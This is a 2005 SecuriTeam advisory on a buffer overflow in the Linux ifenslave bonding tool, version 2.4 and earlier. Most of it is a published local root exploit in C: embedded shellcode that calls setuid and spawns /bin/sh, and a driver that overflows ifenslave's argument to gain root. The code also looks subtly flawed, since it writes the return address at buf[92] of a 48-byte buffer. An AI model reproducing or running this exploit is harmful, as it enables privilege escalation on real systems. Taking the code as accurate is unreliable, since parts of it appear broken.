[EXPL] Ifenslave Buffer Overflow

From: SecuriTeam (support_at_securiteam.com)
Date: 08/16/05

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Date: 16 Aug 2005 17:05:44 +0200

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      Ifenslave Buffer Overflow
    ------------------------------------------------------------------------

    SUMMARY

    ifenslave is "a tool to attach and detach slave network devices to a
    bonding device. A bonding device will act like a normal Ethernet network
    device to the kernel, but will send out the packets via the slave devices
    using a simple round-robin scheduler. This allows for simple
    load-balancing, identical to "channel bonding" or "trunking" techniques
    used in switches".

    A buffer overflow in ifenslave allows an attacker to run arbitrary code
    with root privileges on a vulnerable machine.

    DETAILS

    Vulnerable Systems:
     * Ifenslave version 2.4 and prior

    Exploit Code:
    //Diabolic Crab's Local Root Exploit
    // /sbin/ifenslave
    //dcrab at hackerscenter
    //www.hackerscenter.com

    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>

    char shellcode[]=
            "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid() */
            "\xeb\x5a\x5e\x31\xc0\x88\x46\x07\x31\xc0\x31\xdb\xb0\x27\xcd"
            "\x80\x85\xc0\x78\x32\x31\xc0\x31\xdb\x66\xb8\x10\x01\xcd\x80"
            "\x85\xc0\x75\x0f\x31\xc0\x31\xdb\x50\x8d\x5e\x05\x53\x56\xb0"
            "\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89\x5e\x08\x89\x46\x0c\x50"
            "\x8d\x4e\x08\x51\x56\xb0\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89"
            "\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
            "\xcd\x80\xe8\xa1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

    int main(int argc,char **argv){
       char buf[48];
       unsigned long ret;
       int i;

       char *prog[]={"/sbin/ifenslave",buf,NULL};
       char *env[]={"EGG=",shellcode,NULL};

       ret=0xc0000000-strlen(shellcode)-strlen(prog[0])-0x06;
       printf("use ret addr: 0x%x\n",ret);

       memset(buf,0x41,sizeof(buf));
       memcpy(&buf[92],&ret,4);

       execve(prog[0],prog,env);

      }

    ADDITIONAL INFORMATION

    The original article can be found at:
    <http://icis.digitalparadox.org/~dcrab/dc_ifenslave.c>
    http://icis.digitalparadox.org/~dcrab/dc_ifenslave.c

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